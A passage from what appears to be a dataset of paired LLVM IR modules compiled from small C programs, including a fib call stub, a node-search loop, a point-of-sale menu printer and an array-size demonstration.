store i32 0, ptr %1, align 4
%4 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%5 = getelementptr inbounds [3 x i32], ptr %3, i64 0, i64 0
%6 = call i32 @fib(ptr noundef %4, ptr noundef %5)
ret i32 %6
}
declare i32 @fib(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp5tc7k2gs.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [3 x i32], align 4
%3 = alloca [3 x i32], align 4
store i32 0, ptr %1, align 4
%4 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%5 = getelementptr inbounds [3 x i32], ptr %3, i64 0, i64 0
%6 = call i32 @fib(ptr noundef %4, ptr noundef %5)
ret i32 %6
}
declare i32 @fib(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmponeqby37.c'
source_filename = "/tmp/tmponeqby37.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @sfs_ifexists(ptr noundef %0, i32 noundef %1, ptr noundef %2, i32 noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
store ptr %0, ptr %5, align 8
store i32 %1, ptr %6, align 4
store ptr %2, ptr %7, align 8
store i32 %3, ptr %8, align 4
store i32 -1, ptr %9, align 4
store i32 0, ptr %10, align 4
store i32 0, ptr %11, align 4
br label %12
12: ; preds = %21, %4
%13 = load i32, ptr %9, align 4
%14 = icmp ne i32 %13, 0
br i1 %14, label %15, label %19
15: ; preds = %12
%16 = load i32, ptr %11, align 4
%17 = load i32, ptr %8, align 4
%18 = icmp slt i32 %16, %17
br label %19
19: ; preds = %15, %12
%20 = phi i1 [ false, %12 ], [ %18, %15 ]
br i1 %20, label %21, label %32
21: ; preds = %19
%22 = load ptr, ptr %5, align 8
%23 = load ptr, ptr %7, align 8
%24 = load i32, ptr %11, align 4
%25 = sext i32 %24 to i64
%26 = getelementptr inbounds ptr, ptr %23, i64 %25
%27 = load ptr, ptr %26, align 8
%28 = load i32, ptr %6, align 4
%29 = call i32 @sfsnode_order(ptr noundef %22, ptr noundef %27, i32 noundef %28)
store i32 %29, ptr %9, align 4
%30 = load i32, ptr %11, align 4
%31 = add nsw i32 %30, 1
store i32 %31, ptr %11, align 4
br label %12, !llvm.loop !6
32: ; preds = %19
%33 = load i32, ptr %9, align 4
%34 = icmp eq i32 %33, 0
br i1 %34, label %35, label %36
35: ; preds = %32
store i32 1, ptr %10, align 4
br label %36
36: ; preds = %35, %32
%37 = load i32, ptr %10, align 4
ret i32 %37
}
declare i32 @sfsnode_order(ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmponeqby37.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @sfs_ifexists(ptr noundef %0, i32 noundef %1, ptr noundef %2, i32 noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
store ptr %0, ptr %5, align 8
store i32 %1, ptr %6, align 4
store ptr %2, ptr %7, align 8
store i32 %3, ptr %8, align 4
store i32 -1, ptr %9, align 4
store i32 0, ptr %10, align 4
store i32 0, ptr %11, align 4
br label %12
12: ; preds = %21, %4
%13 = load i32, ptr %9, align 4
%14 = icmp ne i32 %13, 0
br i1 %14, label %15, label %19
15: ; preds = %12
%16 = load i32, ptr %11, align 4
%17 = load i32, ptr %8, align 4
%18 = icmp slt i32 %16, %17
br label %19
19: ; preds = %15, %12
%20 = phi i1 [ false, %12 ], [ %18, %15 ]
br i1 %20, label %21, label %32
21: ; preds = %19
%22 = load ptr, ptr %5, align 8
%23 = load ptr, ptr %7, align 8
%24 = load i32, ptr %11, align 4
%25 = sext i32 %24 to i64
%26 = getelementptr inbounds ptr, ptr %23, i64 %25
%27 = load ptr, ptr %26, align 8
%28 = load i32, ptr %6, align 4
%29 = call i32 @sfsnode_order(ptr noundef %22, ptr noundef %27, i32 noundef %28)
store i32 %29, ptr %9, align 4
%30 = load i32, ptr %11, align 4
%31 = add nsw i32 %30, 1
store i32 %31, ptr %11, align 4
br label %12, !llvm.loop !6
32: ; preds = %19
%33 = load i32, ptr %9, align 4
%34 = icmp eq i32 %33, 0
br i1 %34, label %35, label %36
35: ; preds = %32
store i32 1, ptr %10, align 4
br label %36
36: ; preds = %35, %32
%37 = load i32, ptr %10, align 4
ret i32 %37
}
declare i32 @sfsnode_order(ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp7xfnue6_.c'
source_filename = "/tmp/tmp7xfnue6_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [29 x i8] c"\0AOptions:\0A0. Quit Small POS\0A\00", align 1
@.str.1 = private unnamed_addr constant [41 x i8] c"1. Sell an item not in your SKU library\0A\00", align 1
@.str.2 = private unnamed_addr constant [20 x i8] c"2. Add to the till\0A\00", align 1
@.str.3 = private unnamed_addr constant [25 x i8] c"3. Remove from the till\0A\00", align 1
@.str.4 = private unnamed_addr constant [22 x i8] c"4. Show till balance\0A\00", align 1
@.str.5 = private unnamed_addr constant [23 x i8] c"5. Print List of SKUs\0A\00", align 1
@.str.6 = private unnamed_addr constant [24 x i8] c"6. Add to list of SKUs\0A\00", align 1
@.str.7 = private unnamed_addr constant [29 x i8] c"7. Remove from list of SKUs\0A\00", align 1
@.str.8 = private unnamed_addr constant [22 x i8] c"8. Find price of SKU\0A\00", align 1
@.str.9 = private unnamed_addr constant [40 x i8] c"9. Sell an item in your SKU library\0A\0A>>\00", align 1
@.str.10 = private unnamed_addr constant [49 x i8] c"\0APlease enter the item you wish to sell's price\0A\00", align 1
@.str.11 = private unnamed_addr constant [27 x i8] c"(use the format 0.00)\0A\0A>>$\00", align 1
@.str.12 = private unnamed_addr constant [31 x i8] c"\0AHow much to add to the till?\0A\00", align 1
@.str.13 = private unnamed_addr constant [62 x i8] c"\0AHow much to remove from the till?\0A(use the format 0.00)\0A\0A>>$\00", align 1
@.str.14 = private unnamed_addr constant [15 x i8] c"\0AThe till has \00", align 1
@.str.15 = private unnamed_addr constant [44 x i8] c"\0AWhat number SKU would you like to add?\0A\0A>>\00", align 1
@.str.16 = private unnamed_addr constant [26 x i8] c"\0AWhich SKU to remove?\0A\0A>>\00", align 1
@.str.17 = private unnamed_addr constant [41 x i8] c"\0AWhat SKU would you like to look up?\0A\0A>>\00", align 1
@.str.18 = private unnamed_addr constant [38 x i8] c"\0AWhat SKU would you like to sell?\0A\0A>>\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @printPrompt(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
switch i32 %3, label %33 [
i32 10, label %4
i32 12, label %15
i32 21, label %18
i32 22, label %21
i32 23, label %23
i32 25, label %25
i32 26, label %27
i32 27, label %29
i32 62, label %31
]
4: ; preds = %1
%5 = call i32 @printf(ptr noundef @.str)
%6 = call i32 @printf(ptr noundef @.str.1)
%7 = call i32 @printf(ptr noundef @.str.2)
%8 = call i32 @printf(ptr noundef @.str.3)
%9 = call i32 @printf(ptr noundef @.str.4)
%10 = call i32 @printf(ptr noundef @.str.5)
%11 = call i32 @printf(ptr noundef @.str.6)
%12 = call i32 @printf(ptr noundef @.str.7)
%13 = call i32 @printf(ptr noundef @.str.8)
%14 = call i32 @printf(ptr noundef @.str.9)
br label %34
15: ; preds = %1
%16 = call i32 @printf(ptr noundef @.str.10)
%17 = call i32 @printf(ptr noundef @.str.11)
br label %34
18: ; preds = %1
%19 = call i32 @printf(ptr noundef @.str.12)
%20 = call i32 @printf(ptr noundef @.str.11)
br label %34
21: ; preds = %1
%22 = call i32 @printf(ptr noundef @.str.13)
br label %34
23: ; preds = %1
%24 = call i32 @printf(ptr noundef @.str.14)
br label %34
25: ; preds = %1
%26 = call i32 @printf(ptr noundef @.str.15)
br label %34
27: ; preds = %1
%28 = call i32 @printf(ptr noundef @.str.16)
br label %34
29: ; preds = %1
%30 = call i32 @printf(ptr noundef @.str.17)
br label %34
31: ; preds = %1
%32 = call i32 @printf(ptr noundef @.str.18)
br label %34
33: ; preds = %1
br label %34
34: ; preds = %33, %31, %29, %27, %25, %23, %21, %18, %15, %4
ret void
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp7xfnue6_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [29 x i8] c"\0AOptions:\0A0. Quit Small POS\0A\00", align 1
@.str.1 = private unnamed_addr constant [41 x i8] c"1. Sell an item not in your SKU library\0A\00", align 1
@.str.2 = private unnamed_addr constant [20 x i8] c"2. Add to the till\0A\00", align 1
@.str.3 = private unnamed_addr constant [25 x i8] c"3. Remove from the till\0A\00", align 1
@.str.4 = private unnamed_addr constant [22 x i8] c"4. Show till balance\0A\00", align 1
@.str.5 = private unnamed_addr constant [23 x i8] c"5. Print List of SKUs\0A\00", align 1
@.str.6 = private unnamed_addr constant [24 x i8] c"6. Add to list of SKUs\0A\00", align 1
@.str.7 = private unnamed_addr constant [29 x i8] c"7. Remove from list of SKUs\0A\00", align 1
@.str.8 = private unnamed_addr constant [22 x i8] c"8. Find price of SKU\0A\00", align 1
@.str.9 = private unnamed_addr constant [40 x i8] c"9. Sell an item in your SKU library\0A\0A>>\00", align 1
@.str.10 = private unnamed_addr constant [49 x i8] c"\0APlease enter the item you wish to sell's price\0A\00", align 1
@.str.11 = private unnamed_addr constant [27 x i8] c"(use the format 0.00)\0A\0A>>$\00", align 1
@.str.12 = private unnamed_addr constant [31 x i8] c"\0AHow much to add to the till?\0A\00", align 1
@.str.13 = private unnamed_addr constant [62 x i8] c"\0AHow much to remove from the till?\0A(use the format 0.00)\0A\0A>>$\00", align 1
@.str.14 = private unnamed_addr constant [15 x i8] c"\0AThe till has \00", align 1
@.str.15 = private unnamed_addr constant [44 x i8] c"\0AWhat number SKU would you like to add?\0A\0A>>\00", align 1
@.str.16 = private unnamed_addr constant [26 x i8] c"\0AWhich SKU to remove?\0A\0A>>\00", align 1
@.str.17 = private unnamed_addr constant [41 x i8] c"\0AWhat SKU would you like to look up?\0A\0A>>\00", align 1
@.str.18 = private unnamed_addr constant [38 x i8] c"\0AWhat SKU would you like to sell?\0A\0A>>\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @printPrompt(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
switch i32 %3, label %33 [
i32 10, label %4
i32 12, label %15
i32 21, label %18
i32 22, label %21
i32 23, label %23
i32 25, label %25
i32 26, label %27
i32 27, label %29
i32 62, label %31
]
4: ; preds = %1
%5 = call i32 @printf(ptr noundef @.str)
%6 = call i32 @printf(ptr noundef @.str.1)
%7 = call i32 @printf(ptr noundef @.str.2)
%8 = call i32 @printf(ptr noundef @.str.3)
%9 = call i32 @printf(ptr noundef @.str.4)
%10 = call i32 @printf(ptr noundef @.str.5)
%11 = call i32 @printf(ptr noundef @.str.6)
%12 = call i32 @printf(ptr noundef @.str.7)
%13 = call i32 @printf(ptr noundef @.str.8)
%14 = call i32 @printf(ptr noundef @.str.9)
br label %34
15: ; preds = %1
%16 = call i32 @printf(ptr noundef @.str.10)
%17 = call i32 @printf(ptr noundef @.str.11)
br label %34
18: ; preds = %1
%19 = call i32 @printf(ptr noundef @.str.12)
%20 = call i32 @printf(ptr noundef @.str.11)
br label %34
21: ; preds = %1
%22 = call i32 @printf(ptr noundef @.str.13)
br label %34
23: ; preds = %1
%24 = call i32 @printf(ptr noundef @.str.14)
br label %34
25: ; preds = %1
%26 = call i32 @printf(ptr noundef @.str.15)
br label %34
27: ; preds = %1
%28 = call i32 @printf(ptr noundef @.str.16)
br label %34
29: ; preds = %1
%30 = call i32 @printf(ptr noundef @.str.17)
br label %34
31: ; preds = %1
%32 = call i32 @printf(ptr noundef @.str.18)
br label %34
33: ; preds = %1
br label %34
34: ; preds = %33, %31, %29, %27, %25, %23, %21, %18, %15, %4
ret void
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpagu7184e.c'
source_filename = "/tmp/tmpagu7184e.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@__const.main.areas = private unnamed_addr constant [5 x i32] [i32 10, i32 12, i32 13, i32 14, i32 20], align 16
@__const.main.name = private unnamed_addr constant [4 x i8] c"Zed\00", align 1
@__const.main.full_name = private unnamed_addr constant [11 x i8] c"Zed A.Shaw\00", align 1
@.str = private unnamed_addr constant [25 x i8] c"The size of an int: %ld\0A\00", align 1
@.str.1 = private unnamed_addr constant [32 x i8] c"The size of areas (int[]): %ld\0A\00", align 1
@.str.2 = private unnamed_addr constant [34 x i8] c"The number of ints in areas: %ld\0A\00", align 1
@.str.3 = private unnamed_addr constant [36 x i8] c"The first areas is %d, the 2nd %d.\0A\00", align 1
@.str.4 = private unnamed_addr constant [25 x i8] c"the size of a char: %ld\0A\00", align 1
@.str.5 = private unnamed_addr constant [32 x i8] c"The size of name (char[]): %ld\0A\00", align 1
@.str.6 = private unnamed_addr constant [26 x i8] c"The number of chars: %ld\0A\00", align 1
@.str.7 = private unnamed_addr constant [37 x i8] c"The size of full_name (char[]): %ld\0A\00", align 1
@.str.8 = private unnamed_addr constant [31 x i8] c"name=\22%s\22 and full_name==\22%s\22\0A\00", align 1
@.str.9 = private unnamed_addr constant [35 x i8] c"areas[3] is %d and areas[4] is %d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca [5 x i32], align 16
%7 = alloca [4 x i8], align 1
%8 = alloca [11 x i8], align 1
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
call void @llvm.memcpy.p0.p0.i64(ptr align 16 %6, ptr align 16 @__const.main.areas, i64 20, i1 false)
call void @llvm.memcpy.p0.p0.i64(ptr align 1 %7, ptr align 1 @__const.main.name, i64 4, i1 false)
call void @llvm.memcpy.p0.p0.i64(ptr align 1 %8, ptr align 1 @__const.main.full_name, i64 11, i1 false)
%9 = call i32 (ptr, ...) @printf(ptr noundef @.str, i64 noundef 4)
%10 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i64 noundef 20)
%11 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i64 noundef 5)
%12 = getelementptr inbounds [5 x i32], ptr %6, i64 0, i64 0
%13 = load i32, ptr %12, align 16
%14 = getelementptr inbounds [5 x i32], ptr %6, i64 0, i64 1
%15 = load i32, ptr %14, align 4
%16 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, i32 noundef %13, i32 noundef %15)
%17 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i64 noundef 1)
%18 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, i64 noundef 4)
%19 = call i32 (ptr, ...) @printf(ptr noundef @.str.6, i64 noundef 4)
%20 = call i32 (ptr, ...) @printf(ptr noundef @.str.7, i64 noundef 11)
%21 = call i32 (ptr, ...) @printf(ptr noundef @.str.6, i64 noundef 11)
%22 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 0
%23 = getelementptr inbounds [11 x i8], ptr %8, i64 0, i64 0
%24 = call i32 (ptr, ...) @printf(ptr noundef @.str.8, ptr noundef %22, ptr noundef %23)
%25 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 2
%26 = load i8, ptr %25, align 1
%27 = sext i8 %26 to i32
%28 = getelementptr inbounds [5 x i32], ptr %6, i64 0, i64 3
store i32 %27, ptr %28, align 4
%29 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 3
%30 = load i8, ptr %29, align 1
%31 = sext i8 %30 to i32
%32 = getelementptr inbounds [5 x i32], ptr %6, i64 0, i64 4
store i32 %31, ptr %32, align 16
%33 = getelementptr inbounds [5 x i32], ptr %6, i64 0, i64 3
%34 = load i32, ptr %33, align 4
%35 = getelementptr inbounds [5 x i32], ptr %6, i64 0, i64 4
%36 = load i32, ptr %35, align 16
%37 = call i32 (ptr, ...) @printf(ptr noundef @.str.9, i32 noundef %34, i32 noundef %36)
ret i32 0
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite)
declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1
declare i32 @printf(ptr noundef, ...) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpagu7184e.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@__const.main.areas = private unnamed_addr constant [5 x i32] [i32 10, i32 12, i32 13, i32 14, i32 20], align 16
@__const.main.name = private unnamed_addr constant [4 x i8] c"Zed\00", align 1
@__const.main.full_name = private unnamed_addr constant [11 x i8] c"Zed A.Shaw\00", align 1
@.str = private unnamed_addr constant [25 x i8] c"The size of an int: %ld\0A\00", align 1
@.str.1 = private unnamed_addr constant [32 x i8] c"The size of areas (int[]): %ld\0A\00", align 1
@.str.2 = private unnamed_addr constant [34 x i8] c"The number of ints in areas: %ld\0A\00", align 1
@.str.3 = private unnamed_addr constant [36 x i8] c"The first areas is %d, the 2nd %d.\0A\00", align 1
@.str.4 = private unnamed_addr constant [25 x i8] c"the size of a char: %ld\0A\00", align 1
@.str.5 = private unnamed_addr constant [32 x i8] c"The size of name (char[]): %ld\0A\00", align 1
@.str.6 = private unnamed_addr constant [26 x i8] c"The number of chars: %ld\0A\00", align 1
@.str.7 = private unnamed_addr constant [37 x i8] c"The size of full_name (char[]): %ld\0A\00", align 1
@.str.8 = private unnamed_addr constant [31 x i8] c"name=\22%s\22 and full_name==\22%s\22\0A\00", align 1
@.str.9 = private unnamed_addr constant [35 x i8] c"areas[3] is %d and areas[4] is %d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca [5 x i32], align 16
%7 = alloca [4 x i8], align 1
%8 = alloca [11 x i8], align 1
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
call void @llvm.memcpy.p0.p0.i64(ptr align 16 %6, ptr align 16 @__const.main.areas, i64 20, i1 false)
call void @llvm.memcpy.p0.p0.i64(ptr align 1 %7, ptr align 1 @__const.main.name, i64 4, i1 false)
call void @llvm.memcpy.p0.p0.i64(ptr align 1 %8, ptr align 1 @__const.main.full_name, i64 11, i1 false)
%9 = call i32 (ptr, ...) @printf(ptr noundef @.str, i64 noundef 4)
%10 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i64 noundef 20)
%11 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i64 noundef 5)
%12 = getelementptr inbounds [5 x i32], ptr %6, i64 0, i64 0
%13 = load i32, ptr %12, align 16
%14 = getelementptr inbounds [5 x i32], ptr %6, i64 0, i64 1
%15 = load i32, ptr %14, align 4
%16 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, i32 noundef %13, i32 noundef %15)
%17 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i64 noundef 1)
%18 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, i64 noundef 4)
%19 = call i32 (ptr, ...) @printf(ptr noundef @.str.6, i64 noundef 4)
%20 = call i32 (ptr, ...) @printf(ptr noundef @.str.7, i64 noundef 11)
%21 = call i32 (ptr, ...) @printf(ptr noundef @.str.6, i64 noundef 11)
%22 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 0
%23 = getelementptr inbounds [11 x i8], ptr %8, i64 0, i64 0
%24 = call i32 (ptr, ...) @printf(ptr noundef @.str.8, ptr noundef %22, ptr noundef %23)
%25 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 2
%26 = load i8, ptr %25, align 1
%27 = sext i8 %26 to i32
%28 = getelementptr inbounds [5 x i32], ptr %6, i64 0, i64 3
store i32 %27, ptr %28, align 4
%29 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 3
%30 = load i8, ptr %29, align 1
%31 = sext i8 %30 to i32
%32 = getelementptr inbounds [5 x i32], ptr %6, i64 0, i64 4
store i32 %31, ptr %32, align 16
%33 = getelementptr inbounds [5 x i32], ptr %6, i64 0, i64 3
%34 = load i32, ptr %33, align 4
%35 = getelementptr inbounds [5 x i32], ptr %6, i64 0, i64 4
%36 = load i32, ptr %35, align 16
%37 = call i32 (ptr, ...) @printf(ptr noundef @.str.9, i32 noundef %34, i32 noundef %36)
ret i32 0
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite)
declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1
declare i32 @printf(ptr noundef, ...) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpeubwsn0v.c'
source_filename = "/tmp/tmpeubwsn0v.c"
